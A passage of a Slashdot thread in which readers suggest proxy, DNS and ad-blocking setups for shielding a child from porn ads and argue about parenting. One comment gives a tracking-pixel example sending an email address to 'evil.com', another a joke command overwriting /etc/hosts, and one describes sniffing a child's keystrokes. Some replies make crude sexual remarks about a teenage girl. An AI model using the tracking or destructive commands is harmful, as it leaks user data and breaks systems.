      We won. And the fact is, if the roles had been reversed, they would have done the same thing to us. They were doing it to each other, but just weren't very good at it.

      --
      This is my sig.
    8. Re:No we didn't. by geminidomino · · Score: 1

      Then you're both offtopic and wearing blinders.

    9. Re:No we didn't. by socceroos · · Score: 1

      Wrong. Before that, our parents taught us good values. We've failed to pass that onto our children because of laziness and have opted to just 'restrict' instead of 'educate'.

      Western society is getting dumber - not smarter.

    10. Re:No we didn't. by Reziac · · Score: 1

      It amounts to the same thing. Nannyism restricts rather than educating, thereby actively prevents learning responsiblity and sense. Same problem, we just expressed it from different angles.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    11. Re:No we didn't. by socceroos · · Score: 1

      I guess my point is that we didn't just view life as it came, but filtered it using the tools our parents had taught us. Fewer families are teaching their children these values and mentally equipping them with these tools. It seems to me that in another 3 generations - unless radical change happens - our society will look pretty morbid.

    12. Re:No we didn't. by Reziac · · Score: 1

      Or rather, thanks to those tools, we learned how to cope, rather than to avoid dealing with life. We learned to tell stupid from sensible, and how to avoid pitfalls. Now all the pits are roped off and there is no selection against stupid.

      As to another 3 generations... urban California is already a goner (remember, this is the state where people are so easily led by emotions, and have become so poor at thinking through consequences, that last fall they voted to effectively ban eggs). I expect it's not much better in a lot of other "civilized" areas.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
  59. Firefox Addon by circlingthesun · · Score: 2, Informative

    Foxfilter is a password protected firefox content filter. So unless you have another browser installed it should do the job. https://addons.mozilla.org/en-US/firefox/addon/4351

  60. Re: My daughter is using phrases like 'hot guys,' by dkleinsc · · Score: 2, Informative

    I can say with certainty that I sincerely doubt I was damaged in any way by getting the birds & bees understanding at the tender age of 3. In fact, I suspect that I ended up with significantly healthier attitudes, because when my classmates were going gaga over boobs I was more wondering what the big deal was.

    "The innocence of childhood" is a concept used to protect parents from the thought that their kids are going to grow up and have sex. It has nothing to do with protecting kids, and everything to do with making adults think they're protecting kids.

    --
    I am officially gone from /. Long live http://www.soylentnews.com/
  61. Extra Slim Filters - best choice by mogwhy · · Score: 2, Funny

    Extra Slim Filter Tips should definitely be considered when purchasing filters.

    Actually there is good deal on at Amazon currently only £11.99: Extra Slim Filter.

    I'm a bit worried about the 4 used & new available from £5.85

  62. Say what you mean by Xest · · Score: 1

    On one hand you tell us you believe in letting your kids grow up and see the world as it is then you claim it's not fair that porn advertisers splash ads in her face.

    What does that even mean? It's okay for other aggressive ads to be forced upon her? so your objection is actually about sex? If so then why say you have no problem with them growing up to understand it? In this case, you're after censorship and the best way is monitoring what your child does, this is often (or maybe not nowadays judging by the amount of parents who try and absolve themselves of any blame when their kids do something dumb/criminal) referred to as parenting.

    If that's not what you mean and you in fact mean your problem is just with aggressive advertising in general then just use an ad/popup blocker like anyone else.

    Either way, don't say you mean one thing and then do the exact other, else it's rather hard to offer answers because we can't really tell what you're actually trying to achieve.

    Oh and by the way, I'm a little intrigued to know where on earth she's visiting to get such ads thrust in her face in the first place. The worst I get is ads for russian brides, and they're not even pornographic or at least are barely so. Chances are, if she's getting those ads, she's already visiting hardcore sites by choice and not by accident anyway.

  63. Just use squid. by Phil_at_EvilNET · · Score: 1

    I experienced the content problem first hand about a year ago. I have a FreeBSD server running NAT and using squid for proxying traffic to the internet. Since I routinely update my server at home to be a close copy of the servers I configure for the offices where I used to work, I was cruising thru the logs one day and noted several hours worth of internet porn URLs in the squid logs.

    So I went into /usr/local/etc/squid/errors/English and edited ERR_ACCESS_DENIED with a nice custom message, then modified /usr/local/etc/squid/squid.conf by adding something similar to the following lines, putting partial domain names where "nameX" is:

    #ACL List to block porn sites
    acl blockregurl url_regex -i name1
    acl blockregurl url_regex -i name2
    acl blockregurl url_regex -i name3
    http_access deny blockregurl

    For me this was beneficial in three ways. One, it gave me a little practice on filtering content via squid using ACLs. Two, it let my son know that no matter what he's doing, I have a pretty good idea what it is, and finally the entertainment benefit I received thanks to the modified ERR_ACCESS_DENIED which essentially ripped on him than told him to call my cell phone when he got done reading the page. It was about 4:30pm the next morning when I got a phone call from him that was all of two words: "I'm Sorry".

    Not everyone has the time or patience or desire to create ACLs, keep them updated, setup and maintain your own proxy server, but there's really nothing to it and the benefit is in the knowledge that you can keep random tabs on everything without the kids feeling like you're intruding.

    (until you do, that is)

    --
    To avoid corruption, one must remain dishonest.
    1. Re:Just use squid. by Anonymous Coward · · Score: 0

      Not everyone has the time or patience or desire to create ACLs, keep them updated, setup and maintain your own proxy server, but there's really nothing to it and the benefit is in the knowledge that you can keep random tabs on everything without the kids feeling like you're intruding.

      That is where the more advanced options come in.. OpenDNS and Dansguardian with squid.

      OpenDNS keeps a large part of the objectionable material from coming through, but not all .. the remainder hits Dansguardian (assuming you have installed DG's black lists) and mostly disappears.

      I ran such a setup for 6-8 years and the biggest problem was when the kids had biology/anatomy reports. I had to explicitly allow a reputable collection of informational sights through that were getting caught in the filters.

      Kids are long gone now (all grown and out of the house) so I took it all down to remove a layer of complexity and to retask the machine running DG.

      The first night after doing that, my wife let out a scream as she got hit with a pretty graphic set of porn popups that would have previously all be blocked .. OpenDNS missed them (since then reported and added to the OpenDNS block)

  64. Use the strongest filtering software by Timberwolf0122 · · Score: 1

    Seriously, use a combination of a adblock/webnanny type software and get a good router and block the content there and tell her when she cracks the security she is old enough for teh pron

    --
    In the not too distant future, next Sunday A.D.
  65. no computers in their rooms by schleprock63 · · Score: 1

    i would expand on the note by moodyloner, living room, kitchen. basically don't let your daughter have a computer in her room. keep the computer in an open area. also, i use only use firefox as my browser and extensively use adblock. i've also found that the popup blocker in the newest firefox is very effective. i use thunderbird as my e-mail app. i use the junk mail setting set on highest, which seems to pick off most offensive e-mails. i suggest looking at all of your kids e-mails. and tell them that you are monitoring their e-mail for scams, viruses, trojans ... don't monitor their e-mail for "unflattering" talk about you. and if you see something that doesn't portray you in your best light, DON'T bring it up to your kids. let it go. but, keep abreast of what your kids are looking at. talk to them about it. and above all, be open and honest. schleprock

  66. IPCop by SniffTheGlove · · Score: 1

    I use IPCop with Cop+ addon. This is a linux based Firewall with content filtering on top which uses blacklists etc to block site, you also have the ability to add you own blacklists and also complete control over sites with execption rules. Been using it for many years and have not seen any porn in that time. Install IPCop http://www.ipcop.org/ The install the add-ons server 2.3b2 http://firewalladdons.sourceforge.net/ Then install Copplus 2.2-b3 http://firewalladdons.sourceforge.net/ I also use other add-ons like Nettraffic to view daily internet(Red) interface traffic across my home network.

    1. Re:IPCop by rocketpants · · Score: 1

      +1 for IPCop. It acts as a centralised firewall and proxy server, so you don't need to install on multiple machines in your home. The content filters allow you to block access using a hosts file, and you may find the various other plugins useful (eg disabling internet access for your daughters machine after 11:00pm). Using a combination of this and AdBlock Plus, I rarely see any adverts.

  67. Adblock should stop the agressive pron advertisers by Anonymous Coward · · Score: 0

    Well, adblock should stop the agressive pron advertisers, and if I understand what you say your goals are correctly that would be filtering enough.

  68. One father's experience by yuna49 · · Score: 5, Interesting

    I've been a single father for most of the past sixteen years. I did hardly anything to screen out offensive material when my daughter was younger. Not only that, I let her have her own computer in her room, so I wasn't there to watch over her shoulder either.

    What I did do was set up transparent proxying through Squid on the Linux box that runs as our house firewall so I could scan the logs from time to time and see where she was going. She knew that her usage was being logged, but beyond that I did nothing at all. In reality a much bigger problem than porn was the extent to which supposedly kid-friendly sites actually contained a large proportion of drive-by installs mostly for advertising crap. I ended up with a Squid acl list largely composed of places like atwola.com and Gator. I never had to add a block for any site containing pornographic or other questionable materials. After a couple of rounds of cleaning this type of junk off her (then Windows) computer, I decided the only solution was to block it at the router. These days she uses Ubuntu, so adware is much less of a problem.

    The bigger problem actually began when I let her have an email account (indeed she owns her own domain). Despite years of experience scanning email for myself and my clients, it was still impossible to keep the occasional attached gif from getting through. Unfortunately these tend to the more disgusting end of the porn spectrum; I would have been less disturbed by her seeing more conventional sexual behaviors. The couple of times this happened she mentioned it to me and said she had deleted the offending message immediately. We had a talk about not opening messages from people you didn't know, but often a graphic will show up in the message preview windows (in Thunderbird in our case) without any active choice by the reader.

    Now I only have the one girl, so I don't know how generalizable this experience might be. I do know that, at seventeen, she harbors little or no interest in porn and had, if anything, even less interest in it at 11-13. If she were male, the story might have been different. However my attitudes about her Internet usage were consistent with the general degree of freedom I permitted her in other realms of life. She always had a lot of freedom and today seems much more mature and self-disciplined than some of her friends and acquaintances who grew up in stricter households. I'm proud to call her my daughter.

    1. Re:One father's experience by Anonymous Coward · · Score: 0

      Finally someone who actually read and understood the whole article. You posted exactly what I was going to suggest. Squid et al.

    2. Re:One father's experience by Anonymous Coward · · Score: 0

      If only she could read that.

    3. Re:One father's experience by Anonymous Coward · · Score: 0

      The bigger problem actually began when I let her have an email account (indeed she owns her own domain).

      I think that means you've succeeded as a father.

    4. Re:One father's experience by Chelloveck · · Score: 1

      What I did do was set up transparent proxying through Squid on the Linux box that runs as our house firewall so I could scan the logs from time to time and see where she was going. She knew that her usage was being logged, but beyond that I did nothing at all.

      I have two boys, 16 and 11. This is the solution I use, too. I just set up a Squid proxy and let them know I monitor the logs. Except for a few visits early on to sites with names like "tentacleporn.com" this has been sufficient. Very few kids want to explain to their parents what they're doing on a hentai site...

      I also have Squid ACLs set up to allow or deny their computers access based on time of day. After bedtime their net access is cut off. This is actually important in my case, because the older one would get up in the middle of the night to surf the web. This, rather than content, was the motivating factor in setting up the proxy.

      I initially had the firewall set up to deny their MAC addresses any access to the outside world. Everything *had* to go through the proxy. I removed that restriction a year or two ago, because of some apps which didn't play nice with a proxy. I've actually been hoping that they'd find the loophole, it would at least show some proficiency. Sadly, neither of them have figured out yet that Dad isn't using magic incantations to control the computer. Just commands that they, too, could learn if they desired...

      Anyway, the original question wasn't about keeping the daughter from going to porn sites on purpose, just about keeping her from seeing them by accident. I'd say, don't worry about accidental stuff. If she does stumble upon something that she doesn't like, she'll figure out how to get it off her screen. And let her know that there's no penalty for coming to you and saying, "Help me get rid of this" for the times when she can't figure it out on her own.

      --
      Chelloveck
      I give up on debugging. From now on, SIGSEGV is a feature.
    5. Re:One father's experience by KGBear · · Score: 1

      Congrats and thanks. I'm just starting down the path you've been on (my son will turn 3 next month) and what you describe is what I intend to do -- or whatever will be equivalent to that in the years ahead. I really hope I'll be able to say I'm proud of him 10 years from now -- because I know if I'm not, it will largely be my own fault. You deserve to hear this and if nobody has told you before please allow me: congratulations, sir, on a job well done!

    6. Re:One father's experience by Hatta · · Score: 1

      I do know that, at seventeen, she harbors little or no interest in porn

      Exactly how do you know that? You don't think she'd tell you, do you?

      And if it's true, shame on you. Girls who love porn are lots of fun.

      --
      Give me Classic Slashdot or give me death!
    7. Re:One father's experience by yuna49 · · Score: 1

      Yes, in fact, she would. We have that kind of relationship.

      Are you suggesting that girls who don't love porn are not "fun?"

      Is this comment purely theoretical, or do you also have a daughter and speak from experience?

    8. Re:One father's experience by nightfire-unique · · Score: 1

      On behalf of society, thank you for being a good parent. :)

      --
      A government is a body of people notably ungoverned - AC
    9. Re:One father's experience by colesw · · Score: 2, Funny

      I hope he speaks from experience, I'd love to meet his porn loving daughter!

    10. Re:One father's experience by Hatta · · Score: 1

      Yes, in fact, she would. We have that kind of relationship.

      It will never cease to amaze me how naive parents can be.

      Are you suggesting that girls who don't love porn are not "fun?"

      Not as much anyway.

      Is this comment purely theoretical, or do you also have a daughter and speak from experience?

      No daughter, but I do speak from experience. I've never understood why fathers seem intent on raising their daughters as prudes. Your daughter is going to grow up and find a mate some day. Surely you want her to be the best sexual partner for that mate that she can be, right? The key to a healthy relationship is an active and varied sex life. So it's important to not be afraid of sex, and get lots of practice in before you settle down. New ideas have to come from somewhere, and if you haven't had much experience, and don't like watching others do it, your repertoire is going to be limited.

      I'm not suggesting you try to micromanage your daughters sexuality at all. It's ok for her to like porn, or not like porn, as she decides to. I just don't see why you seem to value indifference to sexuality over enthusiasm.

      --
      Give me Classic Slashdot or give me death!
    11. Re:One father's experience by yuna49 · · Score: 1

      You seem to be equating indifference to porn with "indifference to sexuality."

      Porn contains lots of messages other than sexuality, and most of those messages tend to degrade and objectify women. I've never discouraged my daughter from an interest in sexuality; if anything, I've told her it's a healthy and rewarding aspect of being human.

      I don't think one needs to watch porn to learn how to become an interesting lover; open-mindedness and lots of practice is the best solution for that. I watched little porn as a kid but still managed to figure out how to have a good time in bed. I'll take "on-the-job training" with real members of the opposite sex over voyeurism and misogyny any day.

    12. Re:One father's experience by Hatta · · Score: 1

      I'd tend to agree with all that. Glad to hear you won't freak out when you discover she's been doing the football team either.

      --
      Give me Classic Slashdot or give me death!
    13. Re:One father's experience by TrekkieTechie · · Score: 1

      Parents like you give me hope for society.

      Bravo, sir.

    14. Re:One father's experience by Logic+Worshiper · · Score: 1

      You're kid's never done homework all night at? And they're not allowed to? For 11 year old yes, but the 16 years old? What about when they have a research paper due the next morning and they're up all night doing that? You'd cut off they're internet access, and make the turn in the paper late?

    15. Re:One father's experience by Simetrical · · Score: 1

      The bigger problem actually began when I let her have an email account (indeed she owns her own domain). Despite years of experience scanning email for myself and my clients, it was still impossible to keep the occasional attached gif from getting through. Unfortunately these tend to the more disgusting end of the porn spectrum; I would have been less disturbed by her seeing more conventional sexual behaviors. The couple of times this happened she mentioned it to me and said she had deleted the offending message immediately. We had a talk about not opening messages from people you didn't know, but often a graphic will show up in the message preview windows (in Thunderbird in our case) without any active choice by the reader.

      Try a different mail client. Gmail never displays any images at all (even if you open the e-mail) without your confirmation. There's an "always allow images from this address" link too.

      Not only might auto-displaying images show you stuff you don't want to see, it can also tell the spammers that your address is functional -- just send the spam e-mail to bob@example.com with <img src="http://evil.com/image.jpg?address=bob@example.com" />. Then list the hits to that image from your server logs and you'll know which addresses viewed your images.

      --
      MediaWiki developer, Total War Center sysadmin
    16. Re:One father's experience by Schmorgluck · · Score: 1

      Except for a few visits early on to sites with names like "tentacleporn.com" this has been sufficient.

      Mmmmh, Squid, tentacle... I see kind of a pattern here.

      --
      There's nothing like $HOME
    17. Re:One father's experience by mibus · · Score: 1

      Good on you.

      I have three girls (1,3,4 ATM) and have had to start wondering how I'll play things in a few years. Your setup is very similar to what I've been toying with in my head - good to know it has worked well for you :)

      (I live in Australia; and heartily disagree with the 'clean feed' filter proposed - but fully agree with parents filtering their children's internet, their own way).

    18. Re:One father's experience by yuna49 · · Score: 1

      I wasn't talking about linked images; those can be disabled easily in Thunderbird. My comment concerned images attached to the message itself. Oftentimes that sort of messages consists of a line or two of text and an attached gif.

      I'm well aware about protecting privacy and disabling linked images. I use MailScanner which automatically disables linked images by default.

    19. Re:One father's experience by TrekkieTechie · · Score: 1

      You could always just disable the preview pane.

    20. Re:One father's experience by _14k4 · · Score: 1

      So, what you're saying is:

      Squid saved your family!

      I like it. :)

    21. Re:One father's experience by pbhj · · Score: 1

      .. or she's rooted the proxy?

    22. Re:One father's experience by clone53421 · · Score: 1

      I initially had the firewall set up to deny their MAC addresses any access to the outside world.

      MAC addresses can be pretty easily changed, actually, and that wouldn't even require much proficiency.

      You could blacklist, which would just necessitate setting a random new MAC, or you could whitelist, which would necessitate finding out what a whitelisted MAC was – which would perhaps indicate a certain level of proficiency.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    23. Re:One father's experience by Chelloveck · · Score: 1

      There haven't been many times he's needed Internet access after hours, but when he has I've removed the restriction for that night.

      Getting him to do the homework in the first place is another issue...

      --
      Chelloveck
      I give up on debugging. From now on, SIGSEGV is a feature.
    24. Re:One father's experience by clone53421 · · Score: 1

      Hmm, forcing your kid to not procrastinate. Is that so terrible?

      My college computer lab closed at eleven most nights and campus security kicked everybody out regardless of what they had or hadn't completed or when it was due.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    25. Re:One father's experience by Anonymous Coward · · Score: 0

      I'll take "on-the-job training" with real members of the opposite sex over voyeurism and misogyny any day.

      "Show of hands, who prefers sex over porn? Yeah, pretty much what I expected..."

      And since this is Slashdot, all the virgins can put their hands down now so we can see how many people are actually speaking from experience.

    26. Re:One father's experience by Logic+Worshiper · · Score: 1

      Get a laptop.

    27. Re:One father's experience by Logic+Worshiper · · Score: 1

      That's reasonable.

    28. Re:One father's experience by clone53421 · · Score: 1

      Yeah, I could have done that, and it probably would have been a good idea except that it wasn't really much of a problem for me. I only recall about 2 times when procrastination actually caused me to miss a deadline...

      One of them, it turned out that nobody else finished and the instructor gave us an extension the next day. The other time, I didn't finish because the power went out during a massive snowstorm, and the instructor was reasonable about letting me turn that in the next day with no penalty (which was a break for me, because I wouldn't have finished that program before midnight anyway, heh).

      Most of my programming projects I could pretty safely put off: I could pretty often crank out in one evening what most of the rest of the students had to go through several iterations of e-mails to the instructors in order to complete. It was pretty funny to occasionally be asked "hey, I'm having trouble with the project that's due next week, have you started it yet?" and be able to say "nope, but I'll look at your code and see if I can find your problem... hmm, this'll never work, you need to do this differently and this and this instead of what you're doing here..."

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  69. And meanwhile... by kaizendojo · · Score: 1

    ..while you are busy setting up filters and DNS routes and privoxy, your daughter is taking nude pictures on her cellphone and "sexting" to her classmates.

    My suggestion to parents based on 25 years of IT experience specializing in K-12 and Higher Ed: Relying on technology, religion, threats or the schools to provide your child with a sense of moral right and wrong is a one way ticket to major disappointment. Spend the time you're wasting on research and implementing solutions and invest it in building a relationship with your son or daughter. You can't insulate them from the world, better to build a sense of trust.

  70. Parental fail by Call+Me+Black+Cloud · · Score: 1

    The Internet is not "the world as it is." You wouldn't take her to an adult bookstore and drop her off to browse, would you? The way to learn about the world is not through unsupervised web surfing. What sites is she going to where she would see porn ads anyway? I don't see porn ads in the course of my browsing (well, unless I browse to a porn site)...you're not going to find those ads on any site a prepubescent child would want to visit.

    Why does "fair" even figure into this? Where is it written that anything has to be fair the way you define fair? It sounds like you consider it unfair that the world doesn't behave as you think it should...perhaps you're the one who needs to learn about the "world as it is."

    Here's how we do it in our house (kids ages 11, 9, 6). The computer for the kids is in a communal room (not in a bedroom). Parental controls: on (more restrictive for the youngest). E-mail whitelist (boxtrapper): on.

    How do my kids learn about the world? Let's see...school (all 3 are above grade level and in gifted programs where applicable). Family discussions. We watch TV together as well (Discover Channel has great stuff). We visit museums and historical sites. In other words, we spend time with our kids. We set limits and as they grow up and can handle more those limits are relaxed.

    We don't turn them loose unsupervised then whine that the Internet is "not fair".

    1. Re:Parental fail by Anonymous Coward · · Score: 0

      Posting anonymously since I have already moderated in this thread...

      Where, exactly, in the original question did the father state that he doesn't want to do his job and is looking for a filter to provide parental guidance so he can go do whatever he wants instead? I seem to have missed the part where he said that the world/internet/whatever isn't fair. What *I* read was "I am a concerned dad. I want to supervise my children as a responsible parent should, but I realize I can't be there all the time. Therefore, I am looking for a tool to help me do a better job. Any suggestions?" I know it is a /. meme that any parent that wants to implement any kind of filtering is a power-hungry, right-wing, intolerant control freak, but in reality, a lot of parents just want to provide guidance to their children while they learn what can really hurt them and what is only a nuisance. Stop busting the guy's chops for caring about his kids, already! --Element-O.P.

    2. Re:Parental fail by Logic+Worshiper · · Score: 1

      What if they want information about puberty or birth control? Will you restrict their access to such information?

  71. DNS based filtering - fast and easy by transporter_ii · · Score: 1

    As a disclaimer, I'm a reseller, but I liked the service so much I contacted them about becoming a sales person:

    http://www.itsafe4.me/

    Basically, it works similar to OpenDNS's porn filtering...but it has one huge advantage in that it does not require a static IP address to work (OpenDNS requires either a static IP address or DynDNS to work).

    You can just change the DNS settings in your router or computer and it just works. Takes all of five minutes to set up.

    Minus side is that it won't block chat...but starting at 2.00 a month, its a very easy way to filter your entire network.

    Transporter_ii

    --
    Doctors destroy health, lawyers destroy justice, universities destroy knowledge, religion destroys spirituality
  72. Simple! by Anonymous Coward · · Score: 0

    $ sudo echo '127.0.0.1 192.168.1.1' > /etc/hosts

  73. A good Idea that works for me by Anonymous Coward · · Score: 0

    I use openDNS. The only problem you will run into is if you do not have a static IP. They have software that will update your ip address on their site but I am not sure if they have a linux version.

  74. IPCop or Squid and SquidGuard proxies by zippy40 · · Score: 1

    I admin a private school and have used Squid and SquidGuard with success. There are a couple of sites that provide the updated blacklists for just about everything. However, a blacklist will not stop everything. You have the ability to set the filtering and access to the internet by time limit as well. For the school, I only allow access to the internet during school hours. After hours only the teachers can get out. A friend of mine uses IPCop on his home system, it's basically SquidGuard, but installs a basic linux system with the proxy as the main app.

  75. Use Privoxy by Anonymous Coward · · Score: 0

    Privoxy

    http://www.privoxy.org

  76. Be involved by Temujin_12 · · Score: 1

    I'm a fan of the following (in order of importance):

    1. Open education and discussion. Talk with them about their browsing habits and what the expectations (and consequences) are for what is acceptable or not.

    3. Though every child/family is different, I think having the computer(s) in a public place does a multitude of good.

    4. Avoid double-standards. If you can browse to sites that they are not allowed to go to, it will only create "forbidden fruit" and they'll just end up going there anyways.

    5. Adblock is good in general to keep unwanted content away.

    6. DNS-based solutions (ie: OpenDNS).

    Use technology as a parental tool, not a replacement.

    --
    Faith is a willingness to accept something w/o complete proof and to act on it. Reason allows you to correct that faith.
  77. The best filter is YOU by WCMI92 · · Score: 1

    Any parent who gives a young child unsupervised access to the Internet, filters or no, is irresponsible.

    Unfortunately this generation of parent wants to turn their kids loose on the internet, with cable TV, etc, and reserve the right to bitch to the government about regulating them down to a form that is appropriate for them.

    I don't have children, but if I ever do, the computers won't be in bedrooms unless they have no internet connectivity.

    --
    Corporatism != Free Market
  78. Sex and Relationships by poopdeville · · Score: 1

    Honestly, I don't know why you waited until she noticed "hot guys" for the birds and the bee talk. Sex is easy to explain. It's something people do, for many reasons, and with many possible consequences: pleasure, reproduction, diseases, money. It happens between two or more people, and everything that happens is entirely between them. There is no right or wrong way to do it, as long as everybody consents.

    It's relationships that are hard to explain. Confusion about relationships leads to warped ideas about sex and what it means, not the other way around.

    --
    After all, I am strangely colored.
    1. Re:Sex and Relationships by ydrol · · Score: 1

      I'm pretty sure I dont need the bird & bees talk with my 14 year old daughter. They have sex-ed at school and she told be about it. All I need to impress on her is that boys will say and do almost anything to get their end away. "I love you" is not some un-utterable incantation as perceived by Hollywood, but trips off the tongue of any hormonal teen boy. When the time comes, knowing which boys are more likely to be be respectful about it afterwards, as well as being "hot" is important. But right now, openDNS + Google safe search + AdBlock has been fine for me

    2. Re:Sex and Relationships by Anonymous Coward · · Score: 0

      I'm pretty sure I dont need the bird & bees talk with my 14 year old daughter. They have sex-ed at school and she told be about it.

      Pardon my saying so, but teaching her that was your responsibility, not her school's.

      But hey, don't take it like I'm picking on you. Generally speaking, parents need to take more responsibility for their kids and expect less from their schools. It isn't the teacher's job to raise a kid.

      Anyway, to return to you specifically, you did get beat on the draw, IMO. However, the fact that she felt comfortable telling you about it is a pretty good indication, and hopefully the ensuing conversation reinforced the fact that she could talk to you about stuff like that. Good luck. ;)

  79. Wanted to add a few thoughts.. by American+Terrorist · · Score: 1
    When you do have the conversation, make it educational. In the distant past I talked to girls who were being pressured into having sex by their boyfriends who are absolutely CLUELESS about the basics.

    If she's over 12, make sure she knows everything possible there is to know about sex. How pregnancy occurs, common birth control methods, how many abortions you can have before not being able to give birth, "pulling out" is not OK, the most prevalent STDs, their infection methods, rates, and symptoms, and how to avoid bad situations. (Don't make out with some drunk dude at a party.) Oh and show her videos of teen mom's lives.

    Knowledge is power. The more she learns about sex, the more likely she is to be safe and have a normal sex life.

  80. A porn filter for a Linux box? by trailerparkcassanova · · Score: 1

    I don't think it's ever been done.

  81. correct URL by transporter_ii · · Score: 1
    --
    Doctors destroy health, lawyers destroy justice, universities destroy knowledge, religion destroys spirituality
  82. Anonymous Coward by Anonymous Coward · · Score: 0

    The best filter is education, there is no filter that replace it.
    Eventually it will appears with any filter and good education remains.

  83. I went through this with my kids by SwedishChef · · Score: 1

    Even though my two children grew up in the 1990s when things were considerably more innocent, I recognized the potential threats to them from unfettered access to the Internet. As a Linux guy you have some advantages that Windows people either don't have at all or must pay for.

    First of all, do not put a computer in a child's room where the door can be closed and your supervision over them is reduced. It's your job as a parent to keep them safe until they are sophisticated enough to know how to do that on their own. A "family" computer in the play room or living room installed so that you can look at the screen easily is the best way to keep them safe.

    I use Linux as the border router for my home systems and this gives you a leg up on the predators because you can use sniffers like Nast to actually monitor their keystrokes. I found that all I had to do was demonstrate this once to have a lasting effect. I told my son that I could read every letter he typed. He didn't believe me. I asked him to type something to a friend on Yahoo and, from another room, I read it back to him. I didn't have to keep monitoring him... all that was needed was for him to know that I could.

    Another time my wife and I were on vacation in California and our almost-18 son was home. I logged into the router, then logged into the music computer (also Linux) and started playing mp3s in my computer room. I turned up the volume. Then Mom called him on the phone. "How do you turn it down?" was his first question. Again, it demonstrated that there was supervision even when we were not there in person. Plus it was noon... time for him to get his ass out of bed and mow the lawn. LOL

    Finally, I used Squid and periodically grepped the access.log for the seven words you can't say on television. When I found a site they should not be going to I denied it in the access lists.

    I do not consider any of this to have been undue scrutiny or spying. I really never bothered to monitor keystrokes after that one demonstration. And both of my kids grew up, went to college, avoided all the serious pitfalls of growing up, and are contributing members of society. My son is now my partner in our network engineering firm.

    --
    No one ever had to evacuate a city because the solar panels broke!
  84. "We"? by Dorkmaster+Flek · · Score: 2, Insightful

    What mean "we", Kemosabe?

    --
    I like to think of online DRM as something akin to a college -- you pay for lessons until you learn something.
  85. Re:is there a capitalism filter? by geminidomino · · Score: 1

    I'd bet a sound analysis of how our wonderful economic system works (like how the music industry finds and promotes talent) would do quite a bit to turn kids away from the neatly packaged rebellion that is pushed down their throats, as well as turn them away from the moronic stuff that is advertised to them starting from infancy.

    I think that might be a little deep for the "I know he likes me, but does he like me like me" crowd.

  86. Bottom line: filters are flawed, don't bother by kheldan · · Score: 1

    Rather than spending any time or money on highly flawed technological solutions, spend that time and energy on laying down realistic boundaries for her, and instilling her with a solid sense of right and wrong. Back that up with removing any internet access for infractions. Oh, and if you're entertaining any delusions that you're going to be able to completely shield her from outside influences and keep her completely pure and untainted? Give that idea up right now, unless you're planning on keeping her locked in the basement and totally homeschooling her until she's an adult, because it's impossible. The best you can do is to prepare her for the real world and what it's going to throw at her, and not be too devastated if she doesn't turn out like you hoped she would.

    --
    Are YOU using the TOOL, or is the TOOL using YOU? Think about it!
  87. Re:is there a capitalism filter? by Em+Emalb · · Score: 1

    Tragedy today as former President Gerald Ford was eaten by wolves. He was delicious.

    --
    Sent from your iPad.
  88. kids filter by Anonymous Coward · · Score: 0

    K9 Web filter from BlueCoat is the best home filter I've seen...

  89. Combination of OpenDNS/Adblock/NoScript/IPCop by SoberSage · · Score: 1

    I have combined a majority of the items discussed here. Here is what I have for a setup Qwest DSL with my IPCop as the DMZ. IPCop is running 1.4.21 with Advanced Proxy/Urlfilter/SysInfo/OpenVPN/Calamaris/Update Accelerator with 4 network cards. Red = Internet, Green = Internal Network, Blue = Wireless w/WRT54G running DD-WRT, and Orange as the DMZ. I then download the blacklist from urlblacklist.com and upload it to the URL Filter. I think have Firefox running AdBlock Plus, Noscript, and it always clears personal data when you exit. Granted this is a bit over kill but it is very easy to setup and maintain after you have it setup. You will need Putty or another SSH client and WinSCP for file transfers. The small and cheap box I have running IPCop is purchased for around $250 to $300 at logicsupply.com. Parts List: 1) Jetway NC92-330-LF Dual Core Atom Mini-ITX Mainboard 1.6 GHz dual core Intel Atom 330 processor with fan. Features support for Jetway's signature add-on expansion modules and it has 2 SATA (3 Gb/sec.) connectors, Gb LAN, 2 RS-232 COM support, and PCI. Excellent solution for a wide range of applications. 2) Jetway 3x 1Gb LAN Module Provides three additional 10/100/1000 LAN ports for the Jetway J7F2WE-, J7F3E-, J7F5M-, and NC92-series mainboards. (10/100 module is $20 cheaper) 3) Emphase 44-pin Industrial Flash Disk Module 2 GB - 4000X Plugs directly into a 44-pin notebook style IDE port. The FDM 4000X has fast read/write speeds (Read-40 MB/sec., Write-20 MB/sec.), increased performance, and long-life support. 4)Morex 5677 Mini-ITX Case Super-compact Mini-ITX case with disguised appearance. Has built-in mounting brackets and an internal 2.5" HDD tray. (Need USB CD Rom to install from CD) I already had one. (After setup this box can be headless) 5) Setup the IPCop box and setup your DNS to OpenDNS 6) Configure Adv Proxy and Urlfiltering and upload the blacklist form urlblacklist.com 7) You can also configure filters on OpenDNS 8) Install Firefox with AdBlock Plus/NoScript www.ipcop.org www.urlfilter.net www.advproxy.net update-accelerator.advproxy.net calamaris.advproxy.net www.ipadd.de/binary.html (Sysinfo and other Addons) Granted this is not and ideal how to but there is plenty of how to articles out there and the software has pretty good docs to. Thanks, BG

    1. Re:Combination of OpenDNS/Adblock/NoScript/IPCop by Anonymous Coward · · Score: 0

      I forgot if this is bit much you could also use Bluecoat K9 Web Protecion
      http://www1.k9webprotection.com/

      I personally hate running extra stuff on my workstations

  90. Re:Yeeeah . . . by SlappyBastard · · Score: 3, Funny

    It's rare that I win the race to say something first on the internet. I am soooo proud today.

    --
    I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
  91. Move to Australia by Anonymous Coward · · Score: 0

    You could always move there... they have such a secret list in the works, that even though it isn't even implemented yet, people get threatened with $11000 a day in fines, just for having a link! Best of all there is no way for them to know that the link is even considered illegal until the threat of a fine comes!

  92. um..? by Anonymous Coward · · Score: 0

    I haven't had any porn ads, ever.
    What kind of websites is your daughter going to??

  93. The best filter is called a Parent(tm) by arthurpaliden · · Score: 1

    Keep the computer in a high trafic area of the house. Say right next to the kitchen with the screen facing out.

  94. Filter little if anything, IMO by Fastolfe · · Score: 1

